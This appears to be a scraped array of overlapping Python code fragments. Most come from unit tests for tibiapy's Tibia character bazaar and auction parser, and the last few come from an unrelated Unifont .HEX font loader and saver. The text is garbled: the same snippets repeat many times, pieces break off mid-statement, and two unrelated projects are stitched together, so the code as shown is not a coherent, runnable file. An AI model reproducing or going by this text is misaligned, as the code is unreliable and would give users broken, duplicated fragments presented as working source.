"len(auction.mounts.entries)) self.assertEqual(1, auction.mounts.total_pages) self.assertEqual(22, auction.mounts.results) self.assertEqual(387, auction.mounts.get_by_name(\"donkey\").mount_id) self.assertEqual(\"Donkey\", auction.mounts.get_by_id(387).name) self.assertEqual(1, len(auction.mounts.search('drag'))) self.assertIsNotNone(auction.store_mounts) self.assertEqual(1,",
"PvpTypeFilter, \\ Sex, SkillFilter, \\ Vocation, VocationAuctionFilter FILE_BAZAAR_CURRENT_EMPTY = \"bazaar/tibiacom_history_empty.txt\" FILE_BAZAAR_CURRENT = \"bazaar/tibiacom_current.txt\"",
"self.assertFalse(bazaar.entries) def test_character_bazaar_from_content_history(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_HISTORY)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(1449, bazaar.total_pages) self.assertEqual(36219, bazaar.results_count)",
"bazaar.filters.order) def test_character_bazaar_from_content_current_all_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_ALL_FILTERS)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(4, bazaar.total_pages) self.assertEqual(92, bazaar.results_count)",
"def test_character_bazaar_from_content_history(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_HISTORY)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(1449, bazaar.total_pages) self.assertEqual(36219, bazaar.results_count) self.assertEqual(25,",
"self.assertEqual(325058, auction.auction_id) self.assertEqual(900, auction.bid) self.assertEqual(\"Rcrazy Illuminati\", auction.name) self.assertEqual(255, auction.level) self.assertEqual(\"Celebra\", auction.world) self.assertEqual(Vocation.MASTER_SORCERER, auction.vocation)",
"self.assertEqual(1, auction.hirelings) self.assertEqual(3, auction.hireling_jobs) self.assertEqual(0, auction.hireling_outfits) self.assertIsNotNone(auction.items) self.assertEqual(76, len(auction.items.entries)) self.assertEqual(8, auction.items.total_pages) self.assertEqual(567, auction.items.results)",
"len(auction.familiars.search('ember'))) self.assertEqual(9, len(auction.blessings)) self.assertEqual(18, len(auction.imbuements)) self.assertEqual(8, len(auction.charms)) self.assertEqual(0, len(auction.completed_cyclopedia_map_areas)) self.assertEqual(16, len(auction.titles)) self.assertEqual(217, len(auction.achievements))",
"self.assertEqual(11715, auction.hit_points) self.assertEqual(17385, auction.mana) self.assertEqual(23530, auction.capacity) self.assertEqual(1270, auction.speed) self.assertEqual(0, auction.blessings_count) self.assertEqual(23, auction.mounts_count) self.assertEqual(35,",
"auction.achievement_points) self.assertIsNone(auction.regular_world_transfer_available_date) self.assertEqual(110, auction.available_charm_points) self.assertEqual(5800, auction.spent_charm_points) self.assertEqual(2, auction.daily_reward_streak) self.assertEqual(1494, auction.hunting_task_points) self.assertEqual(0, auction.permanent_hunting_task_slots) self.assertEqual(1,",
"self.assertEqual(22, len(auction.mounts.entries)) self.assertEqual(1, auction.mounts.total_pages) self.assertEqual(22, auction.mounts.results) self.assertEqual(387, auction.mounts.get_by_name(\"donkey\").mount_id) self.assertEqual(\"Donkey\", auction.mounts.get_by_id(387).name) self.assertEqual(1, len(auction.mounts.search('drag'))) self.assertIsNotNone(auction.store_mounts)",
"self.assertIsNotNone(bazaar) self.assertFalse(bazaar.entries) def test_character_bazaar_from_content_history(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_HISTORY)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(1449, bazaar.total_pages) self.assertEqual(36219,",
"self.assertEqual(1, len(auction.displayed_items)) self.assertEqual(143, auction.outfit.outfit_id) first_item = auction.displayed_items[0] self.assertEqual(1, first_item.count) self.assertEqual(25700, first_item.item_id) self.assertEqual(\"dream blossom",
"self.assertEqual(\"falcon coif\", auction.displayed_items[1].name) self.assertEqual(\"pair of soulstalkers\", auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM,",
"self.assertEqual(AuctionStatus.FINISHED, auction.status) def test_auction_details_from_content_not_found(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_NOT_FOUND)) self.assertIsNone(auction) def test_auction_details_from_content_unrelated(self): \"\"\"Testing parsing an",
"= CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT)) self.assertIsNotNone(bazaar) self.assertEqual(300, bazaar.page) self.assertEqual(482, bazaar.total_pages) self.assertEqual(12031, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction",
"len(auction.titles)) self.assertEqual(217, len(auction.achievements)) self.assertEqual(509, len(auction.bestiary_progress)) self.assertEqual(205, len(auction.completed_bestiary_entries)) def test_auction_details_from_content_finished_skip_details(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED), skip_details=True)",
"auction.permanent_prey_slots) self.assertEqual(1, auction.hirelings) self.assertEqual(3, auction.hireling_jobs) self.assertEqual(0, auction.hireling_outfits) self.assertIsNotNone(auction.items) self.assertEqual(76, len(auction.items.entries)) self.assertEqual(8, auction.items.total_pages) self.assertEqual(567,",
"self.assertEqual(\"dream blossom staff\", first_item.name) self.assertIsNotNone(first_item.image_url) self.assertIsNone(bazaar.filters) def test_character_bazaar_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com",
"self.assertEqual(Vocation.ROYAL_PALADIN, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(\"Wintera\", auction.world) self.assertIsNotNone(auction.outfit) self.assertEqual(1322, auction.outfit.outfit_id) self.assertEqual(4, len(auction.displayed_items)) self.assertEqual(\"gnome armor\",",
"TestCommons from tibiapy import Auction, AuctionOrder, AuctionOrderBy, AuctionSearchType, AuctionStatus, BattlEyeTypeFilter, \\ BidType, \\",
"len(auction.store_items.search('rune'))) self.assertIsNotNone(auction.mounts) self.assertEqual(22, len(auction.mounts.entries)) self.assertEqual(1, auction.mounts.total_pages) self.assertEqual(22, auction.mounts.results) self.assertEqual(387, auction.mounts.get_by_name(\"donkey\").mount_id) self.assertEqual(\"Donkey\", auction.mounts.get_by_id(387).name) self.assertEqual(1,",
"BattlEyeTypeFilter, \\ BidType, \\ CharacterBazaar, \\ InvalidContent, PvpTypeFilter, \\ Sex, SkillFilter, \\ Vocation,",
"soulstalkers\", auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) self.assertEqual(11715, auction.hit_points)",
"auction.mounts.get_by_id(387).name) self.assertEqual(1, len(auction.mounts.search('drag'))) self.assertIsNotNone(auction.store_mounts) self.assertEqual(1, len(auction.store_mounts.entries)) self.assertEqual(1, auction.store_mounts.total_pages) self.assertEqual(1, auction.store_mounts.results) self.assertEqual(906, auction.store_mounts.get_by_name(\"Wolpertinger\").mount_id) self.assertEqual(\"Wolpertinger\",",
"self.assertEqual(\"Wintera\", auction.world) self.assertIsNotNone(auction.outfit) self.assertEqual(1322, auction.outfit.outfit_id) self.assertEqual(4, len(auction.displayed_items)) self.assertEqual(\"gnome armor\", auction.displayed_items[0].name) self.assertEqual(\"falcon coif\", auction.displayed_items[1].name)",
"self.assertEqual(50, bazaar.filters.max_skill_level) self.assertEqual(AuctionOrderBy.SHIELDING, bazaar.filters.order_by) self.assertEqual(AuctionOrder.HIGHEST_LATEST, bazaar.filters.order) self.assertEqual(AuctionSearchType.ITEM_WILDCARD, bazaar.filters.search_type) def test_character_bazaar_from_content_empty(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_EMPTY))",
"Auction.from_content(self.load_resource(FILE_AUCTION_NOT_FOUND)) self.assertIsNone(auction) def test_auction_details_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION)",
"bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(30237, auction.auction_id) self.assertEqual(800, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type)",
"= self.load_resource(self.FILE_UNRELATED_SECTION) with self.assertRaises(InvalidContent): CharacterBazaar.from_content(content) def test_auction_details_from_content_finished(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED)) self.assertIsNotNone(auction) # Listing",
"= CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_HISTORY)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(1449, bazaar.total_pages) self.assertEqual(36219, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction",
"\"bazaar/tibiacom_auction_finished.txt\" FILE_AUCTION_NOT_FOUND = \"bazaar/tibiacom_auction_not_found.txt\" class TestBazaar(TestCommons, unittest.TestCase): def test_character_bazaar_from_content_current_no_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT)) self.assertIsNotNone(bazaar)",
"self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id), auction.url) self.assertEqual(1161, auction.level) self.assertEqual(Vocation.ROYAL_PALADIN, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(\"Wintera\", auction.world) self.assertIsNotNone(auction.outfit)",
"FILE_AUCTION_NOT_FOUND = \"bazaar/tibiacom_auction_not_found.txt\" class TestBazaar(TestCommons, unittest.TestCase): def test_character_bazaar_from_content_current_no_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT)) self.assertIsNotNone(bazaar) self.assertEqual(300,",
"import TestCommons from tibiapy import Auction, AuctionOrder, AuctionOrderBy, AuctionSearchType, AuctionStatus, BattlEyeTypeFilter, \\ BidType,",
"auction.items.get_by_name(\"cigar\").item_id) self.assertEqual(\"cigar\", auction.items.get_by_id(141).name) self.assertEqual(7, len(auction.items.search('backpack'))) self.assertIsNotNone(auction.store_items) self.assertEqual(16, len(auction.store_items.entries)) self.assertEqual(1, auction.store_items.total_pages) self.assertEqual(16, auction.store_items.results) self.assertEqual(23721,",
"self.assertEqual(0, len(auction.completed_cyclopedia_map_areas)) self.assertEqual(16, len(auction.titles)) self.assertEqual(217, len(auction.achievements)) self.assertEqual(509, len(auction.bestiary_progress)) self.assertEqual(205, len(auction.completed_bestiary_entries)) def test_auction_details_from_content_finished_skip_details(self): auction",
"auction.mounts.get_by_name(\"donkey\").mount_id) self.assertEqual(\"Donkey\", auction.mounts.get_by_id(387).name) self.assertEqual(1, len(auction.mounts.search('drag'))) self.assertIsNotNone(auction.store_mounts) self.assertEqual(1, len(auction.store_mounts.entries)) self.assertEqual(1, auction.store_mounts.total_pages) self.assertEqual(1, auction.store_mounts.results) self.assertEqual(906,",
"CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_HISTORY)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(1449, bazaar.total_pages) self.assertEqual(36219, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction =",
"bazaar.page) self.assertEqual(482, bazaar.total_pages) self.assertEqual(12031, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(30237, auction.auction_id)",
"SkillFilter, \\ Vocation, VocationAuctionFilter FILE_BAZAAR_CURRENT_EMPTY = \"bazaar/tibiacom_history_empty.txt\" FILE_BAZAAR_CURRENT = \"bazaar/tibiacom_current.txt\" FILE_BAZAAR_CURRENT_ALL_FILTERS = \"bazaar/tibiacom_current_all_filters.txt\"",
"self.assertEqual(16, auction.titles_count) self.assertEqual(8, len(auction.skills)) self.assertEqual(128, auction.skills_map[\"Distance Fighting\"].level) self.assertEqual(11.43, auction.skills_map[\"Distance Fighting\"].progress) self.assertIsInstance(auction.creation_date, datetime.datetime) self.assertEqual(26006721711,",
"self.assertEqual(1, auction.familiars.total_pages) self.assertEqual(1, auction.familiars.results) self.assertEqual(992, auction.familiars.get_by_name(\"emberwing\").familiar_id) self.assertEqual('Emberwing', auction.familiars.get_by_id(992).name) self.assertEqual(1, len(auction.familiars.search('ember'))) self.assertEqual(9, len(auction.blessings)) self.assertEqual(18,",
"len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(30237, auction.auction_id) self.assertEqual(800, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(0,",
"self.assertEqual(1, len(auction.mounts.search('drag'))) self.assertIsNotNone(auction.store_mounts) self.assertEqual(1, len(auction.store_mounts.entries)) self.assertEqual(1, auction.store_mounts.total_pages) self.assertEqual(1, auction.store_mounts.results) self.assertEqual(906, auction.store_mounts.get_by_name(\"Wolpertinger\").mount_id) self.assertEqual(\"Wolpertinger\", auction.store_mounts.get_by_id(906).name)",
"self.assertEqual(1, auction.store_outfits.total_pages) self.assertEqual(2, auction.store_outfits.results) self.assertEqual(962, auction.store_outfits.get_by_name(\"retro warrior\").outfit_id) self.assertEqual('Retro Warrior', auction.store_outfits.get_by_id(962).name) self.assertEqual(2, len(auction.store_outfits.search('retro'))) self.assertIsNotNone(auction.familiars)",
"first_item = auction.displayed_items[0] self.assertEqual(1, first_item.count) self.assertEqual(25700, first_item.item_id) self.assertEqual(\"dream blossom staff\", first_item.name) self.assertIsNotNone(first_item.image_url) self.assertIsNone(bazaar.filters)",
"self.assertEqual(387, auction.mounts.get_by_name(\"donkey\").mount_id) self.assertEqual(\"Donkey\", auction.mounts.get_by_id(387).name) self.assertEqual(1, len(auction.mounts.search('drag'))) self.assertIsNotNone(auction.store_mounts) self.assertEqual(1, len(auction.store_mounts.entries)) self.assertEqual(1, auction.store_mounts.total_pages) self.assertEqual(1, auction.store_mounts.results)",
"AuctionOrderBy, AuctionSearchType, AuctionStatus, BattlEyeTypeFilter, \\ BidType, \\ CharacterBazaar, \\ InvalidContent, PvpTypeFilter, \\ Sex,",
"auction.sex) self.assertEqual(BidType.WINNING, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(1, len(auction.displayed_items)) self.assertEqual(143, auction.outfit.outfit_id) first_item = auction.displayed_items[0] self.assertEqual(1, first_item.count)",
"Fighting\"].level) self.assertEqual(11.43, auction.skills_map[\"Distance Fighting\"].progress) self.assertIsInstance(auction.creation_date, datetime.datetime) self.assertEqual(26006721711, auction.experience) self.assertEqual(41893, auction.gold) self.assertEqual(553, auction.achievement_points) self.assertIsNone(auction.regular_world_transfer_available_date)",
"warrior\").outfit_id) self.assertEqual('Retro Warrior', auction.store_outfits.get_by_id(962).name) self.assertEqual(2, len(auction.store_outfits.search('retro'))) self.assertIsNotNone(auction.familiars) self.assertEqual(1, len(auction.familiars.entries)) self.assertEqual(1, auction.familiars.total_pages) self.assertEqual(1, auction.familiars.results)",
"auction.hunting_task_points) self.assertEqual(0, auction.permanent_hunting_task_slots) self.assertEqual(1, auction.permanent_prey_slots) self.assertEqual(1, auction.hirelings) self.assertEqual(3, auction.hireling_jobs) self.assertEqual(0, auction.hireling_outfits) self.assertIsNotNone(auction.items) self.assertEqual(76,",
"auction.items.results) self.assertEqual(141, auction.items.get_by_name(\"cigar\").item_id) self.assertEqual(\"cigar\", auction.items.get_by_id(141).name) self.assertEqual(7, len(auction.items.search('backpack'))) self.assertIsNotNone(auction.store_items) self.assertEqual(16, len(auction.store_items.entries)) self.assertEqual(1, auction.store_items.total_pages) self.assertEqual(16,",
"self.assertEqual(4, bazaar.total_pages) self.assertEqual(92, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(82526, auction.auction_id) self.assertEqual(57000,",
"self.assertEqual(1, bazaar.page) self.assertEqual(1449, bazaar.total_pages) self.assertEqual(36219, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(325058,",
"spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) self.assertEqual(11715, auction.hit_points) self.assertEqual(17385, auction.mana) self.assertEqual(23530,",
"auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(\"Wintera\", auction.world) self.assertIsNotNone(auction.outfit) self.assertEqual(1322, auction.outfit.outfit_id) self.assertEqual(4, len(auction.displayed_items)) self.assertEqual(\"gnome armor\", auction.displayed_items[0].name)",
"self.assertEqual(23, auction.mounts_count) self.assertEqual(35, auction.outfits_count) self.assertEqual(16, auction.titles_count) self.assertEqual(8, len(auction.skills)) self.assertEqual(128, auction.skills_map[\"Distance Fighting\"].level) self.assertEqual(11.43, auction.skills_map[\"Distance",
"auction.store_outfits.total_pages) self.assertEqual(2, auction.store_outfits.results) self.assertEqual(962, auction.store_outfits.get_by_name(\"retro warrior\").outfit_id) self.assertEqual('Retro Warrior', auction.store_outfits.get_by_id(962).name) self.assertEqual(2, len(auction.store_outfits.search('retro'))) self.assertIsNotNone(auction.familiars) self.assertEqual(1,",
"self.assertEqual(2, auction.daily_reward_streak) self.assertEqual(1494, auction.hunting_task_points) self.assertEqual(0, auction.permanent_hunting_task_slots) self.assertEqual(1, auction.permanent_prey_slots) self.assertEqual(1, auction.hirelings) self.assertEqual(3, auction.hireling_jobs) self.assertEqual(0,",
"self.assertEqual(2, len(auction.store_outfits.search('retro'))) self.assertIsNotNone(auction.familiars) self.assertEqual(1, len(auction.familiars.entries)) self.assertEqual(1, auction.familiars.total_pages) self.assertEqual(1, auction.familiars.results) self.assertEqual(992, auction.familiars.get_by_name(\"emberwing\").familiar_id) self.assertEqual('Emberwing', auction.familiars.get_by_id(992).name)",
"len(auction.displayed_items)) self.assertEqual(143, auction.outfit.outfit_id) first_item = auction.displayed_items[0] self.assertEqual(1, first_item.count) self.assertEqual(25700, first_item.item_id) self.assertEqual(\"dream blossom staff\",",
"Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED)) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id), auction.url) self.assertEqual(1161, auction.level)",
"len(auction.familiars.entries)) self.assertEqual(1, auction.familiars.total_pages) self.assertEqual(1, auction.familiars.results) self.assertEqual(992, auction.familiars.get_by_name(\"emberwing\").familiar_id) self.assertEqual('Emberwing', auction.familiars.get_by_id(992).name) self.assertEqual(1, len(auction.familiars.search('ember'))) self.assertEqual(9, len(auction.blessings))",
"self.assertEqual(1, len(auction.familiars.search('ember'))) self.assertEqual(9, len(auction.blessings)) self.assertEqual(18, len(auction.imbuements)) self.assertEqual(8, len(auction.charms)) self.assertEqual(0, len(auction.completed_cyclopedia_map_areas)) self.assertEqual(16, len(auction.titles)) self.assertEqual(217,",
"self.assertEqual(1, len(auction.familiars.entries)) self.assertEqual(1, auction.familiars.total_pages) self.assertEqual(1, auction.familiars.results) self.assertEqual(992, auction.familiars.get_by_name(\"emberwing\").familiar_id) self.assertEqual('Emberwing', auction.familiars.get_by_id(992).name) self.assertEqual(1, len(auction.familiars.search('ember'))) self.assertEqual(9,",
"auction.displayed_items[1].name) self.assertEqual(\"pair of soulstalkers\", auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED,",
"AuctionOrder, AuctionOrderBy, AuctionSearchType, AuctionStatus, BattlEyeTypeFilter, \\ BidType, \\ CharacterBazaar, \\ InvalidContent, PvpTypeFilter, \\",
"self.assertEqual(992, auction.familiars.get_by_name(\"emberwing\").familiar_id) self.assertEqual('Emberwing', auction.familiars.get_by_id(992).name) self.assertEqual(1, len(auction.familiars.search('ember'))) self.assertEqual(9, len(auction.blessings)) self.assertEqual(18, len(auction.imbuements)) self.assertEqual(8, len(auction.charms)) self.assertEqual(0,",
"bazaar.entries[0] self.assertEqual(325058, auction.auction_id) self.assertEqual(900, auction.bid) self.assertEqual(\"Rcrazy Illuminati\", auction.name) self.assertEqual(255, auction.level) self.assertEqual(\"Celebra\", auction.world) self.assertEqual(Vocation.MASTER_SORCERER,",
"= \"bazaar/tibiacom_history.txt\" FILE_AUCTION_FINISHED = \"bazaar/tibiacom_auction_finished.txt\" FILE_AUCTION_NOT_FOUND = \"bazaar/tibiacom_auction_not_found.txt\" class TestBazaar(TestCommons, unittest.TestCase): def test_character_bazaar_from_content_current_no_filters_selected(self):",
"self.assertIsNone(bazaar.filters.max_level) self.assertIsNone(bazaar.filters.skill) self.assertIsNone(bazaar.filters.min_skill_level) self.assertIsNone(bazaar.filters.max_skill_level) self.assertEqual(AuctionOrder.LOWEST_EARLIEST, bazaar.filters.order) def test_character_bazaar_from_content_current_all_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_ALL_FILTERS)) self.assertIsNotNone(bazaar) self.assertEqual(1,",
"self.assertEqual(7, len(auction.items.search('backpack'))) self.assertIsNotNone(auction.store_items) self.assertEqual(16, len(auction.store_items.entries)) self.assertEqual(1, auction.store_items.total_pages) self.assertEqual(16, auction.store_items.results) self.assertEqual(23721, auction.store_items.get_by_name(\"gold pouch\").item_id) self.assertEqual(\"gold",
"= CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_ALL_FILTERS)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(4, bazaar.total_pages) self.assertEqual(92, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction",
"def test_auction_details_from_content_finished(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED)) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url)",
"auction = bazaar.entries[0] self.assertEqual(82526, auction.auction_id) self.assertEqual(57000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertIsNotNone(bazaar.filters) self.assertEqual('Antica', bazaar.filters.world)",
"self.assertEqual(962, auction.store_outfits.get_by_name(\"retro warrior\").outfit_id) self.assertEqual('Retro Warrior', auction.store_outfits.get_by_id(962).name) self.assertEqual(2, len(auction.store_outfits.search('retro'))) self.assertIsNotNone(auction.familiars) self.assertEqual(1, len(auction.familiars.entries)) self.assertEqual(1, auction.familiars.total_pages)",
"auction.store_mounts.results) self.assertEqual(906, auction.store_mounts.get_by_name(\"Wolpertinger\").mount_id) self.assertEqual(\"Wolpertinger\", auction.store_mounts.get_by_id(906).name) self.assertEqual(1, len(auction.store_mounts.search('Wolpertinger'))) self.assertIsNotNone(auction.outfits) self.assertEqual(30, len(auction.outfits.entries)) self.assertEqual(2, auction.outfits.total_pages) self.assertEqual(33,",
"self.assertEqual(\"gold pouch\", auction.store_items.get_by_id(23721).name) self.assertEqual(2, len(auction.store_items.search('rune'))) self.assertIsNotNone(auction.mounts) self.assertEqual(22, len(auction.mounts.entries)) self.assertEqual(1, auction.mounts.total_pages) self.assertEqual(22, auction.mounts.results) self.assertEqual(387,",
"unittest from tests.tests_tibiapy import TestCommons from tibiapy import Auction, AuctionOrder, AuctionOrderBy, AuctionSearchType, AuctionStatus,",
"self.assertIsNotNone(auction.outfit) self.assertEqual(1322, auction.outfit.outfit_id) self.assertEqual(4, len(auction.displayed_items)) self.assertEqual(\"gnome armor\", auction.displayed_items[0].name) self.assertEqual(\"falcon coif\", auction.displayed_items[1].name) self.assertEqual(\"pair of",
"auction.hirelings) self.assertEqual(3, auction.hireling_jobs) self.assertEqual(0, auction.hireling_outfits) self.assertIsNotNone(auction.items) self.assertEqual(76, len(auction.items.entries)) self.assertEqual(8, auction.items.total_pages) self.assertEqual(567, auction.items.results) self.assertEqual(141,",
"len(auction.blessings)) self.assertEqual(18, len(auction.imbuements)) self.assertEqual(8, len(auction.charms)) self.assertEqual(0, len(auction.completed_cyclopedia_map_areas)) self.assertEqual(16, len(auction.titles)) self.assertEqual(217, len(auction.achievements)) self.assertEqual(509, len(auction.bestiary_progress))",
"self.assertEqual(509, len(auction.bestiary_progress)) self.assertEqual(205, len(auction.completed_bestiary_entries)) def test_auction_details_from_content_finished_skip_details(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED), skip_details=True) self.assertIsNotNone(auction) # Listing"
] |
[
"code line key, value = line.rsplit(':', 1) value = value.strip() if ( #",
"glyph.as_hex().upper() ) ) def _format_comment(comment, comm_char): \"\"\"Format a multiline comment.\"\"\" return '\\n'.join(f'{comm_char} {_line}'",
"'') # marked as comment or line[0] == '#' # pass through lines",
"if ':' in line: # parse code line key, value = line.rsplit(':', 1)",
") def _clean_comment(lines): \"\"\"Remove leading characters from comment.\"\"\" while lines and not lines[-1]:",
"return ( # glyph comment ('' if not glyph.comments else '\\n' + _format_comment(glyph.comments,",
"and first glyph comment.\"\"\" while lines and not lines[-1]: lines = lines[:-1] try:",
"properties=dict(encoding='unicode')) def _convert_label(key): \"\"\"Ctreate char label from key string.\"\"\" try: return ''.join(chr(int(_key, 16))",
"multi-cell font from PC-BASIC extended .HEX file.\"\"\" return _load_hex(instream.text) @loaders.register('hex', name='Unifont HEX') def",
"comments into global and first glyph comment.\"\"\" while lines and not lines[-1]: lines",
"PC-BASIC extended .HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hext) def _validate(fonts): \"\"\"Check",
"_load_hex(instream): \"\"\"Load font from a .hex file.\"\"\" global_comment = [] glyphs = []",
"lines[-1]: lines = lines[:-1] try: splitter = lines[::-1].index('') except ValueError: global_comment = lines",
"if font.spacing not in ('character-cell', 'multi-cell'): raise FileFormatError( 'This format only supports character-cell",
"Unifont or PC-BASIC Extended .HEX file.\"\"\" # global comment if font.get_comments(): outstream.write(_format_comment(font.get_comments(), comm_char='#')",
"while lines and not lines[-1]: lines = lines[:-1] try: splitter = lines[::-1].index('') except",
"= _validate(fonts) _save_hex(font, outstream.text, _fits_in_hext) def _validate(fonts): \"\"\"Check if font fits in file",
"comment = [] # preserve any comment at end of file as part",
"or set(value) - set(string.hexdigits + ',') ): comment.append(line) else: # when first glyph",
"'#' # pass through lines without : as comments - allows e.g. to",
"at end of file as part of global comment global_comment = '\\n'.join([*_clean_comment(global_comment), *_clean_comment(comment)])",
"lines = lines[-splitter:] return global_comment, lines ############################################################################## # saver def _save_hex(font, outstream, fits):",
"8x16 or 16x16 glyphs, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False return",
"line for hex file.\"\"\" return ( # glyph comment ('' if not glyph.comments",
"while lines and not lines[-1]: lines = lines[:-1] if not lines: return []",
"' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False if glyph.height >= 32: logging.warning(",
"# glyphs for glyph in font.glyphs: if fits(glyph): outstream.write(_format_glyph(glyph)) else: logging.warning('Skipping %s: %s',",
"if glyph fits in Unifont Hex format.\"\"\" if len(glyph.char) > 1: logging.warning('Hex format",
"# http://czyborra.com/unifont/ import logging import string from ..storage import loaders, savers from ..streams",
"Hex format.\"\"\" if glyph.width not in (8, 16): logging.warning( 'Extended Hex format only",
"string from ..storage import loaders, savers from ..streams import FileFormatError from ..font import",
"= value.strip() if ( # preserve empty lines if they separate comments (not",
"if glyph.width not in (8, 16): logging.warning( 'Extended Hex format only supports glyphs",
"global_comment = [] glyphs = [] comment = [] for line in instream:",
"f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False if glyph.height >= 32: logging.warning( 'Extended",
"comment[-1] != '') # marked as comment or line[0] == '#' # pass",
"in string.ascii_letters + string.digits: lines = [_line[1:] for _line in lines] # remove",
"return _load_hex(instream.text) @savers.register(linked=load_hex) def save_hex(fonts, outstream, where=None): \"\"\"Save 8x16 multi-cell font to Unifont",
"ValueError: return '' def _convert_glyph(key, value, comment): \"\"\"Create Glyph object from key string",
"<NAME> licence: https://opensource.org/licenses/MIT \"\"\" # HEX format documentation # http://czyborra.com/unifont/ import logging import",
"\"\"\"Save 8xN multi-cell font to PC-BASIC extended .HEX file.\"\"\" font = _validate(fonts) _save_hex(font,",
"1 and firsts not in string.ascii_letters + string.digits: lines = [_line[1:] for _line",
"multi-cell font from Unifont .HEX file.\"\"\" return _load_hex(instream.text) @savers.register(linked=load_hex) def save_hex(fonts, outstream, where=None):",
"format only supports character-cell or multi-cell fonts.' ) return font ############################################################################## # loader",
"char label from key string.\"\"\" try: return ''.join(chr(int(_key, 16)) for _key in key.split(','))",
"format only supports glyphs less than 32 pixels high, ' f'glyph {glyph.char} is",
"or 16-pix wide # if height >= 32, they conflict num_bytes = len(value)",
"font, = fonts if font.spacing not in ('character-cell', 'multi-cell'): raise FileFormatError( 'This format",
"comment.\"\"\" while lines and not lines[-1]: lines = lines[:-1] if not lines: return",
"from comment.\"\"\" while lines and not lines[-1]: lines = lines[:-1] if not lines:",
"############################################################################## # loader def _load_hex(instream): \"\"\"Load font from a .hex file.\"\"\" global_comment =",
"16 or glyph.width not in (8, 16): logging.warning( 'Hex format only supports 8x16",
"> 1: raise FileFormatError('Can only save one font to hex file.') font, =",
"loaders, savers from ..streams import FileFormatError from ..font import Font from ..glyph import",
"False if glyph.height != 16 or glyph.width not in (8, 16): logging.warning( 'Hex",
